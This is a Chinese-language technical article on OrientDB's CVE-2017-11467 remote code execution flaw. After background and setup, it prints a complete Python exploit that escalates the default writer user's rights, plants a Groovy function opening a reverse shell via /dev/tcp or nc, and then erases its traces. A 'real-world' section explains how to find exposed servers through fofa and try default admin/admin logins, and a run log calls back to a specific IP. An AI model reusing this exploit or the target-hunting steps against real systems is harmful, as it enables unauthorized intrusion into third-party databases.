OrientDB遠程代碼執(zhí)行漏洞利用與分析
原創(chuàng)【51CTO.com原創(chuàng)稿件】OrientDB數據庫是一個支持分布式的NoSQL數據庫,主要針對文檔以及圖形等進行檢索,通過研究發(fā)現(xiàn)其默認配置admin、reader和writer三個角色,在處理where”或“fetchplan”或“order by”函數時,由于在OrientDB中有一個執(zhí)行groovy函數,groovy包裝類沒有沙箱,暴露了系統(tǒng)函數,因此我們可以運行我們想要的任何命令。該漏洞在國外被命名為CVE-2017-11467,本文主要對該漏洞的分析方法和實戰(zhàn)進行探討。
0x01.OrientDB簡介
OrientDB是分布式兼具文檔數據庫的靈活性和圖形數據庫管理鏈接能力的可深層次擴展的文檔-圖形數據庫管理系統(tǒng),也是可升級,高性能的操作NoSQL數據庫??蛇x無模式、全模式或混合模式下。支持許多高級特性,諸如ACID事務、快速索引,原生和SQL查詢功能??梢訨SON格式導入、導出文檔。若不執(zhí)行昂貴的JOIN操作的話,如同關系數據庫可在幾毫秒內可檢索數以百G的鏈接文檔圖,其最新版本為OrientDB v2.2.26。官方網站:http://orientdb.com和https://github.com/Orientechnologies。
圖1Orientdb
0x02. OrientDB基礎
2.1OrientDB的一些基本概念
Classes : 類比關系型數據庫系統(tǒng)中的Table與傳統(tǒng)文檔數據庫的collections。這個概念來自于OOP(Object-oriented programming)的理念。class用于定義數據結構的模型。
Record:record是OrientDB中最小的加載和存儲的單位。record有四種類型:Document、RecordBytes(BLOB)、Vertex、Edge。
Document:是OrientDB中最靈活的record。Document支持schema-less,schemal-full,schema-mixed,即可以在定義數據結構的時候指定屬性及約定條件,也可以不指定。它通過create class語法來定義一個數據結構。
Vertex:在OrientDB的graph模型下,每個結點叫作Vertex,每個Vertex也是一個Document。
Edge:在OrientDB的graph模型下,連接兩個Vertex的邊叫作Edge。Edge是有向性的而且僅能連接兩個Vertex。
Clusters : 用于存儲record。每個數據庫最多有32767個cluster。每個class都必須至少有一個對應的cluster。默認情況下OrientDB會自動為每個class創(chuàng)建與當前cpu核數相同的cluster,其中有一個默認的cluster。
Cluster Selection:當新增加一條reocrd時OrientDB會根據cluster section為這條記錄選擇一個cluster。cluster section有四條類型:detault、round-robin、balanced、local。
Record ID :每個record都有一個record id。 record id的格式如下:
- #<cluster-id>:<cluster-position>。
Relationships: OrientDB中不使用join,它通過在每個reocrd中定義一個關系類型的屬性來維護關系。這個關系屬性存儲的實際是record id,就像定義一個指針在內存中將兩個record聯(lián)系起來。
Inheritance & Polymorphic: OrientDB支持面向對象的繼承和多態(tài)特性。
2.2OrientDB的特性
OrientDB是用Java語言實現(xiàn)的,運行在JVM之上。
Multi-Model:OrientDB支持多種模型:Key/Value, Object, Document, and Graph。
Multi-Master Replication: OrientDB集群部署時每個點都是Master,每個Master上都有完整的數據。一旦一個Master上的數據發(fā)生變更,會將發(fā)生變更的數據同步通知其它Master。
Extended SQL : OrientDB支持大部分標準的SQL,同時在標準的SQL之上擴展了部分功能以方便圖的操作。
Easy Integration :使用teleporter可以很容易地將數據從RDBMS遷移到OrientDB上。
OOP:OrientDB定義數據結構的Class符合OOP(Object-oriented programming)的理念,支持繼承和多態(tài)的特性。
2.2OrientDB的SQL
在寫圖數據庫的SQL時,第一步是要確認起始點(這個也是圖數據庫比較耗時的地方),一旦起始點確認后,我們便可以近乎物理連接的方式查詢這個起始點相關聯(lián)的數據。
基本的SQL:OrientDB支持大部分標準的SQL查詢。
例如:SELECT FROM Person WHERE name LIKE 'Luk%'
Traverse:traverse語法可以遍歷獲取一個record聯(lián)結的reocrd。它比select使用起來更簡單和快速。
例如:RAVERSE out("Friend") FROM #10:1234 WHILE $depth <= 3
Match:match是一種表述力很強的查詢語法結構,類比Neo4j的Cypher語法結構。它以一種說明式的方式來查詢。
例如:
- MATCH {class: Person, as: person, where: (name = 'John' AND surname = 'Doe')}.both('Friend').both('Friend')
- {as: friendOfFriend} RETURN person, friendOfFriend
0x03. OrientDB漏洞 CVE-2017-11467分析
3.1搭建測試環(huán)境
(1)docker安裝,這個安裝的是最新版本,有可能修補了漏洞
- docker run -d --name orientdb -p 2424:2424 -p 2480:2480 -e ORIENTDB_ROOT_PASSWORD=root orientdb:latest
(2)linux下安裝orientdb
- wget -O orientdb-community-2.2.22.tar.gz http://orientdb.com/download.php?file=orientdb-community-2.2.22.tar.gz&os=linux
- tar -zxf orientdb-community-2.2.22.tar.gz
- mv orientdb-community-2.2.22 /opt/orientdb
- /opt/orientdb/bin/server.sh
- useradd -r orientdb -s /sbin/nologin
- chown -R orientdb:orientdb /opt/orientdb
- chmod 640 /opt/orientdb/config/orientdb-server-config.xml
- cp /opt/orientdb/bin/orientdb.service /etc/systemd/system
- vi /etc/systemd/system/orientdb.service
- 修改User=ORIENTDB_USER Group=ORIENTDB_GROUP ExecStart=$ORIENTDB_HOME/bin/server.sh為:
- User=orientdb Group=orientdb ExecStart=/opt/orientdb/bin/server.sh
- systemctl daemon-reload
- systemctl enable orientdb
- systemctl status orientdb
注意:
(1)如果是虛擬機,則需要修改內存大小,默認64位是512G,修改為1G!需要修改/opt/orientdb/bin下的所有bat文件和sh文件。否則會報“Invalid maximum direct memory size: -XX:MaxDirectMemorySize=512g”錯誤。
(2)設置路徑和用戶,在對應的sh文件中設置
- ORIENTDB_DIR="/opt/orientdb/"
- ORIENTDB_USER="orientdb"
3.2漏洞分析
1.用戶權限
OrientDB使用RBAC模型進行認證方案。默認情況下,OrientDB有3個角色:管理員(admin),作者(writer)和讀者(reader)。這些用戶名與角色相同。對于在服務器上創(chuàng)建的每個數據庫,默認情況下分配這3個用戶。
用戶的權限是:
admin:訪問數據庫上的所有功能,沒有任何限制
reader:只讀用戶。讀者可以查詢數據庫中的任何記錄,但不能修改或刪除它們。它不能訪問內部信息,例如用戶和角色本身。
writer:與“讀者”相同,但也可以創(chuàng)建,更新和刪除記錄
2.越權導致命令執(zhí)行
ORole結構處理用戶及其角色,只能由管理員訪問。OrientDB需要oRole讀取權限來允許用戶顯示用戶的權限以及與oRole權限相關聯(lián)的其他查詢。但在版本2.2.x中,每當上述oRole查詢包含where、fetchplan和ORDER BY語句,則不需要此權限的要求和信息,而返回給未經授權的用戶從而導致命令執(zhí)行
例:
- select * from <em>oRole</em> order by name;
當每個數據庫創(chuàng)建時會創(chuàng)建writer用戶,這樣,即使db管理員更改管理員用戶密碼,攻擊者仍然可以使用writer用戶獲取代碼執(zhí)行。由于我們啟用了where、fetchplan和ORDER BY函數,在OrientDB中有一個執(zhí)行groovy函數,groovy包裝類沒有沙箱,暴露了系統(tǒng)函數,因此我們可以運行我們想要的任何命令。
示例Groovy函數:
- Command.md
- def command = 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 0.0.0.0 8081
- >/tmp/f'
- File file = new File("hello.sh")
- file.delete()
- file << ("#!/bin/bash\n")
- file << (command)
- def proc = "bash hello.sh".execute()
3.概念證明
(1)監(jiān)聽8081端口。
在8081端口運行Netcat:nc -lv 8081
運行以下命令:
- python PoC.py ip [port]
(2)poc.py
- import sys
- import requests
- import json
- import string
- import random
- target = sys.argv[1]
- try:
- port = sys.argv[2] if sys.argv[2] else 2480
- except:
- port = 2480
- url = "http://%s:%s/command/GratefulDeadConcerts/sql/-/20?format=rid,type,version,class,graph"%(target,port)
- def random_function_name(size=5, chars=string.ascii_lowercase + string.digits):
- return ''.join(random.choice(chars) for _ in range(size))
- def enum_databases(target,port="2480"):
- base_url = "http://%s:%s/listDatabases"%(target,port)
- req = requests.get(base_url)
- if req.status_code == 200:
- #print "[+] Database Enumeration successful"
- database = req.json()['databases']
- return database
- return False
- def check_version(target,port="2480"):
- base_url = "http://%s:%s/listDatabases"%(target,port)
- req = requests.get(base_url)
- if req.status_code == 200:
- headers = req.headers['server']
- #print headers
- if "2.2" in headers or "3." in headers:
- return True
- return False
- def run_queries(permission,db,content=""):
- databases = enum_databases(target)
- url = "http://%s:%s/command/%s/sql/-/20?format=rid,type,version,class,graph"%(target,port,databases[0])
- priv_enable = ["create","read","update","execute","delete"]
- #query = "GRANT create ON database.class.ouser TO writer"
- for priv in priv_enable:
- if permission == "GRANT":
- query = "GRANT %s ON %s TO writer"%(priv,db)
- else:
- query = "REVOKE %s ON %s FROM writer"%(priv,db)
- req = requests.post(url,data=query,auth=('writer','writer'))
- if req.status_code == 200:
- pass
- else:
- if priv == "execute":
- return True
- return False
- print "[+] %s"%(content)
- return True
- def priv_escalation(target,port="2480"):
- print "[+] Checking OrientDB Database version is greater than 2.2"
- if check_version(target,port):
- priv1 = run_queries("GRANT","database.class.ouser","Privilege Escalation done checking enabling operations on database.function")
- priv2 = run_queries("GRANT","database.function","Enabled functional operations on database.function")
- priv3 = run_queries("GRANT","database.systemclusters","Enabling access to system clusters")
- if priv1 and priv2 and priv3:
- return True
- return False
- def exploit(target,port="2480"):
- #query = '"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":null,"name":"most","language":"groovy","code":"def command = \'bash -i >& /dev/tcp/0.0.0.0/8081 0>&1\';File file = new File(\"hello.sh\");file.delete();file << (\"#!/bin/bash\\n\");file << (command);def proc = \"bash hello.sh\".execute(); ","parameters":null'
- #query = {"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":None,"name":"ost","language":"groovy","code":"def command = 'whoami';File file = new File(\"hello.sh\");file.delete();file << (\"#!/bin/bash\\n\");file << (command);def proc = \"bash hello.sh\".execute(); ","parameters":None}
- func_name = random_function_name()
- print func_name
- databases = enum_databases(target)
- reverse_ip = raw_input('Enter the ip to connect back: ')
- query = '{"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":null,"name":"'+func_name+'","language":"groovy","code":"def command = \'bash -i >& /dev/tcp/'+reverse_ip+'/8081 0>&1\';File file = new File(\\"hello.sh\\");file.delete();file << (\\"#!/bin/bash\\\\n\\");file << (command);def proc = \\"bash hello.sh\\".execute();","parameters":null}'
- #query = '{"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":null,"name":"'+func_name+'","language":"groovy","code":"def command = \'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 0.0.0.0 8081 >/tmp/f\' \u000a File file = new File(\"hello.sh\")\u000a file.delete() \u000a file << (\"#!/bin/bash\")\u000a file << (command)\n def proc = \"bash hello.sh\".execute() ","parameters":null}'
- #query = {"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":None,"name":"lllasd","language":"groovy","code":"def command = \'bash -i >& /dev/tcp/0.0.0.0/8081 0>&1\';File file = new File(\"hello.sh\");file.delete();file << (\"#!/bin/bash\\n\");file << (command);def proc = \"bash hello.sh\".execute();","parameters":None}
- req = requests.post("http://%s:%s/document/%s/-1:-1"%(target,port,databases[0]),data=query,auth=('writer','writer'))
- if req.status_code == 201:
- #print req.status_code
- #print req.json()
- func_id = req.json()['@rid'].strip("#")
- #print func_id
- print "[+] Exploitation successful, get ready for your shell.Executing %s"%(func_name)
- req = requests.post("http://%s:%s/function/%s/%s"%(target,port,databases[0],func_name),auth=('writer','writer'))
- #print req.status_code
- #print req.text
- if req.status_code == 200:
- print "[+] Open netcat at port 8081.."
- else:
- print "[+] Exploitation failed at last step, try running the script again."
- print req.status_code
- print req.text
- #print "[+] Deleting traces.."
- req = requests.delete("http://%s:%s/document/%s/%s"%(target,port,databases[0],func_id),auth=('writer','writer'))
- priv1 = run_queries("REVOKE","database.class.ouser","Cleaning Up..database.class.ouser")
- priv2 = run_queries("REVOKE","database.function","Cleaning Up..database.function")
- priv3 = run_queries("REVOKE","database.systemclusters","Cleaning Up..database.systemclusters")
- #print req.status_code
- #print req.text
- def main():
- target = sys.argv[1]
- #port = sys.argv[1] if sys.argv[1] else 2480
- try:
- port = sys.argv[2] if sys.argv[2] else 2480
- #print port
- except:
- port = 2480
- if priv_escalation(target,port):
- exploit(target,port)
- else:
- print "[+] Target not vulnerable"
- main()
0x04.歷史漏洞
- CVE-2017-11467(高危)
OrientDB通過2.2.22在“where”或“fetchplan”或“order by”使用期間不執(zhí)行特權要求,允許遠程攻擊者通過精心制作的請求執(zhí)行任意操作系統(tǒng)命令。
- CVE-2015-2918
在2.0.1之前的2.0.15和2.1.x之前的OrientDB Server Community Edition中的Studio組件沒有適當地限制使用FRAME元素,這使遠程攻擊者更容易通過精心設計的網站進行劫持攻擊。
- CVE-2015年-2913
server/network/protocol/http/OHttpSessionManager.java在OrientDB Server社區(qū)版的Studio組件2.0.15、2.1.x和2.1.1之前版本不正確地依賴于java.util.Random類來生成隨機Session ID值,這使遠程攻擊者更容易通過確定此類中的PRNG的內部狀態(tài)來預測值。
- CVE-2015-2912
在2.0.1之前的2.0.15和2.1.x之前的OrientDB Server Community Edition的Studio組件中的JSONP端點沒有適當地限制回調值,這允許遠程攻擊者通過精心設計的HTTP請求進行跨站點請求偽造(CSRF)攻擊,并獲得敏感信息。
0x05.實戰(zhàn)CVE-2017-11467漏洞利用
1.安裝poc.py所需的組件
直接執(zhí)行python CVE-2017-11467.py 127.0.0.1后,出現(xiàn)錯誤,如圖2所示,則表示需要requests組件的支持,可以到https://pypi.python.org/pypi/requests/#downloads下載requests-2.18.4.tar.gz,可參考下載地址:
解壓requests-2.18.4.tar.gz文件后,使用python setup.py install進行安裝。
圖2需要安裝requests組件
2.尋找OrientDB
zoomeye目前在升級,因此用https://fofa.sol來進行搜索效果比較佳,關鍵詞“orientdb && port=2480”,對于2.2.X版本基本是通殺。獲取結果后,通過單擊鏈接來查看可否正常訪問。能夠正常訪問,登錄密碼一般都是admin/admin。
3.執(zhí)行命令
(1)檢測是否存在漏洞
例如python CVE-2017-11467.py 127.0.0.1后其結果:
- C:\Python27>python CVE-2017-11467.py 127.0.0.1
- [+] Checking OrientDB Database version is greater than 2.2
- [+] Privilege Escalation done checking enabling operations on database.function
- [+] Enabled functional operations on database.function
- [+] Enabling access to system clusters
- 8bd94
- Enter the ip to connect back: 59.***. ***.*** //輸入反彈的IP地址,注意前后無空格
- [+] Exploitation successful, get ready for your shell.Executing 8bd94
- [+] Exploitation failed at last step, try running the script again.
- 400
- {
- "errors": [
- {
- "code": 400,
- "reason": "Bad request",
- "content": "Error on evaluation of the script library. Error: org.codehaus
- .groovy.control.MultipleCompilationErrorsException: startup failed:\u000aScript1
- .groovy: 1: unexpected token: def @ line 1, column 1.\u000a def 8bd94() {\u000
- a ^\u000a\u000a1 error\u000a\u000aScript library was:\u000adef 8bd94() {\u000a
- def command = 'bash -i >& /dev/tcp/59.110.62.194/8081 0>&1';File file = new File
- (\"hello.sh\");file.delete();file << (\"#!/bin/bash\\n\");file << (command);def
- proc = \"bash hello.sh\".execute();\u000a}\u000a\u000a\u000d\u000a\u0009DB name=
- \"hierarchies\""
- }
- ]
- }
- [+] Cleaning Up..database.class.ouser
- [+] Cleaning Up..database.function
- [+] Cleaning Up..database.systemclusters
(2)設置反彈的IP
如果檢測到目標對象存在漏洞,則提示輸入一個反彈的IP地址,該IP地址事先需要進行8081端口監(jiān)聽,如果命令執(zhí)行成功則獲取反彈的shell,執(zhí)行效果如圖3和圖4所示。
圖3命令執(zhí)行漏洞檢測
圖4獲取反彈的shell
注意:
(1)由于命令是針對linux,因此反彈IP前不能有空格,否則執(zhí)行不成功。
(2)反彈端口可以更改poc中的8081
(3)OrientDB數據庫密碼是加密的。例如獲取某數據庫配置文件中的數據庫用戶和密碼:
- <user resources="*" password="{PBKDF2WithHmacSHA256}3D2969BF5BF1E819C6358CEF534327A32D205928D77B6D47:56B6EE75711C3600BCB23011685F253EE3F645E1BFA70AB8:65536" name="root"/>
- <user resources="connect,server.listDatabases,server.dblist" password="{PBKDF2WithHmacSHA256}AD0DA873F5BEB2343257A07B51326BBAECF8A894F960328E:B183077FF32DD1F40F3031EF048F5D8169E7EB6FB3C09004:65536" name="guest"/>
【51CTO原創(chuàng)稿件,合作站點轉載請注明原文作者和出處為51CTO.com】